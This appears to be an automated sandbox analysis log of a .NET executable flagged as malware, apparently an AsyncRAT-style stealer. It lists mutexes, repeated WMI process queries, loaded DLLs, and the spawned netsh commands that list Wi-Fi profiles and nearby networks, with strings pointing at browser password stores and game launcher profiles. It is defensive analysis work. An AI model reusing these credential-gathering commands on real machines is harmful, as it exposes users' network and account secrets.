
Source: C:\Users\user\Desktop\viVOqZjAT0.exe

File created: C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631

Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1364:120:WilError_03

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

File created: C:\Users\user\AppData\Local\Temp\tmp37DA.tmp

Jump to behavior

Source: viVOqZjAT0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: viVOqZjAT0.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

File read: C:\Users\user\Pictures\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp37FA.tmp.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: viVOqZjAT0.exe	ReversingLabs: Detection: 84%
Source: viVOqZjAT0.exe	Virustotal: Detection: 74%

Source: viVOqZjAT0.exe

String found in binary or memory: \servers.dat-launcher_profiles.json/\launcher_profiles.json

Source: unknown	Process created: C:\Users\user\Desktop\viVOqZjAT0.exe "C:\Users\user\Desktop\viVOqZjAT0.exe"
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
